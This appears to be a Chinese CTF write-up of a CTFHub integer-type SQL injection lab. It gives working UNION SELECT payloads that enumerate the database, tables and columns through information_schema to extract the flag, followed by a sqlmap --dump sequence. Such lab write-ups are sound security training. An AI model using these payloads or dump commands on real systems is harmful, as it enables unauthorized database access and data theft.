题目来源:ctfhub技能树
目录
[step 1:查看注入类型](#step 1:查看注入类型)
[step 2:order by语句判断字段数](#step 2:order by语句判断字段数)
[step 3:爆数据库名](#step 3:爆数据库名)
[step 4:爆表名](#step 4:爆表名)
[step 5:爆列名](#step 5:爆列名)
[step 6:爆具体数据](#step 6:爆具体数据)
[step 1:--current-db](#step 1:--current-db)
[step 2:-D 数据库名 --tables](#step 2:-D 数据库名 --tables)
[step 3:-D 数据库名 -T 表名 --columns](#step 3:-D 数据库名 -T 表名 --columns)
[step 4:-D 数据库名 -T 表名 -C 列名 --dump](#step 4:-D 数据库名 -T 表名 -C 列名 --dump)
一、打开靶机,整理已知信息
查看页面信息,提示"MySQL结构",所以为sql注入,两种思路:①手工注入;②sqlmap
二、手工注入解题
step 1:查看注入类型
键入:1
键入:1'
键入:1''
键入:1 and 1=2 #

键入:1 and 1=1 #

由回显可得本题为整数型注入
step 2:order by语句判断字段数
键入:1 order by 2 #(根据经验,陌生题可使用二分法)

step 3:爆数据库名
sql
1 and 1=2 union select database(),database() #

step 4:爆表名
sql
1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' #

出现了奇怪的东西,继续看
step 5:爆列名
sql
1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lcwaabhcjo' #

东西应该就在这里
step 6:爆具体数据
sql
1 and 1=2 union select 1,zrlcbgazoj from sqli.lcwaabhcjo #

得到flag
三、sqlmap解题------四步走
step 1:--current-db
step 2:-D 数据库名 --tables
step 3:-D 数据库名 -T 表名 --columns
step 4:-D 数据库名 -T 表名 -C 列名 --dump
得到flag。【sqlmap------YYDS】